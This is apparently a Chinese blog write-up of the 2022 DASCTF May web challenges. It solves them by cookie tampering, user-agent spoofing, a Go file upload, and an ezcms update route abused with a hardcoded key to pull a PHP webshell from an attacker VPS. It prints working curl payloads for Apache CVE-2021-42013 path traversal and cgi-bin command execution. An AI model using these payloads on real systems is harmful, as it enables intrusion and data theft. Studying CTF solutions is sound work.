• 2022DASCTF MAY web


    Power Cookie

    开启环境后,我们发现了一个 login by GUEST

     我们对其进行抓包 根据提示:只有admin才可以获取flag

    更改cookie为admin=1 得到flag

     魔法浏览器

    在网站源码里,发现了一串 hex编码 对其解码

    let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35";    
    console["\x6c\x6f\x67"]
    1. string="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
    2. #Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
    3. print(string)
    4. #log
    5. print("\x6c\x6f\x67")

     更改user-Agent 为 得到的浏览器

    得到flag

    getme

    没有信息,源码里有一个:pwd:/usr/local/apache2/

     抓包后在返回包信息中得到 server版本为 Apache/2.4.50 (Unix)

    搜索后可知是 CVE-2021-42013

    参考:Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)

    漏洞利用poc:

    curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

    查看任意文件:

     证明存在此漏洞。

    目标服务器开启cgi或者cgid时候,可以命令执行

        curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

    我们查看一下日志,看看有没有flag信息:

    在日志中发现了flag的信息

     

     这个是假的flag,那么看看下面的那个fffffflalllallalagggggggggg

    我们请求一下这个fffffflalllallalagggggggggg,得到flag

    hackeme

    知识点:golang、文件上传、rce

    一道go的题目,对这方面不太了解,不过这道题还是比较简单的go

     可以点击,点进去 之后是一个list

    挨个点击可以获得一些对应的文件和回显

    whoami :"root
    "

    whereami:"/home/main
    "

    uptime:" 14:29:19 up 2 min, 0 users, load average: 11.68, 13.99, 13.58
    "

    flag:DASCTF{THIS_IS_FAKE_FLAG}

    但是users文件不存在

    所有需要我们上传一个users.go文件,然后其执行,我们访问users,会返回文件执行结果

    我们搜索一个执行命令的go文件

    Go语言中用 os/exec 执行命令的五种姿势 - 知乎

    /目录下执行 ls -l命令  发现了flag

    更改users.go文件的命令,再上传 执行 cat /flag 得到flag

    cmd := exec.Command("cat", "/flag")

    ezcms

    打开发现是一个漫城cmd,在url里加上/admin.php进入登陆窗口

     弱口令:用户名:admin 密码:123456

    ezcms\sys\apps\controllers\admin目录下,注意其中的Update.php

    在Update.php中,会去根据GET方式传的url,下载远程的zip包

    然后将压缩包解压,将里面的文件放在我们能访问到的目录下,所以可以传一个木马


    但是需要用到sys_auth函数的对我们传入的字符串进行解密为http://ip//a.zip这样的格式,然后才进行下载

    这个sys_auth函数不能单独直接在本地使用,因为其中有个Mc_Encryption_Key全局变量

      跟进得到 Mc_Encryption_Key的值

    //encryption_key密钥

    define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

    最后直接赋值sys_auth函数作为加密构筑即可。

    提前在vps放上a.zip,a.zip中放入我们的php一句话木马  密码为1vxyz

    最终exp

    1. //encryption_key密钥
    2. define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
    3. //字符加密、解密
    4. function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    5. if(is_array($string)) $string = json_encode($string);
    6. if($type == 1) $string = str_replace('-','+',$string);
    7. $ckey_length = 4;
    8. $key = md5($key ? $key : Mc_Encryption_Key);
    9. $keya = md5(substr($key, 0, 16));
    10. $keyb = md5(substr($key, 16, 16));
    11. $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    12. $cryptkey = $keya.md5($keya.$keyc);
    13. $key_length = strlen($cryptkey);
    14. $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    15. $string_length = strlen($string);
    16. $result = '';
    17. $box = range(0, 255);
    18. $rndkey = array();
    19. for($i = 0; $i <= 255; $i++) {
    20. $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    21. }
    22. for($j = $i = 0; $i < 256; $i++) {
    23. $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    24. $tmp = $box[$i];
    25. $box[$i] = $box[$j];
    26. $box[$j] = $tmp;
    27. }
    28. for($a = $j = $i = 0; $i < $string_length; $i++) {
    29. $a = ($a + 1) % 256;
    30. $j = ($j + $box[$a]) % 256;
    31. $tmp = $box[$a];
    32. $box[$a] = $box[$j];
    33. $box[$j] = $tmp;
    34. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    35. }
    36. if($type == 1) {
    37. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    38. $result = substr($result, 26);
    39. $json = json_decode($result,1);
    40. if(!is_numeric($result) && $json){
    41. return $json;
    42. }else{
    43. return $result;
    44. }
    45. }
    46. return '';
    47. }
    48. return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
    49. }
    50. $url = "http://ip/123.zip";
    51. echo(sys_auth($url));

    之后生成的内容构筑访问update路由

    http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/admin.php/update?url=c161kf-iJGQKAh8zQ4x8mh4-4nac-kgKhpwhj614UiYTKmre2zJKeCbneb4WN-lmlypF4SP0JUg

    最后访问http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/a.php 

    flag在根目录下 得到flag

    参考:2022DASCTF May出题人挑战赛官方Write

    2022DASCTF MAY 出题人挑战赛_Sk1y的博客-CSDN博客 

  • 相关阅读:
    JAVA潮购购物网站计算机毕业设计Mybatis+系统+数据库+调试部署
    合并单元格
    计算机毕业设计 基于SSM的问卷调查管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解
    Windows 上安装和启动 Nacos 2.2.2 最新版本
    酷开科技丨大屏购物买买买,酷开系统助力网购模式再升级
    JS-项目实战-删除库存记录
    大模型存在“反转诅咒”现象,无法处理反向问题;Langchain课程资源
    DNS的服务与部署(2)
    神经网络在控制中的应用,神经元网络控制的作用
    淘宝商品API使用示例:如何通过调用外部API来获取淘宝商品价格销量主图详情数据
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/125825435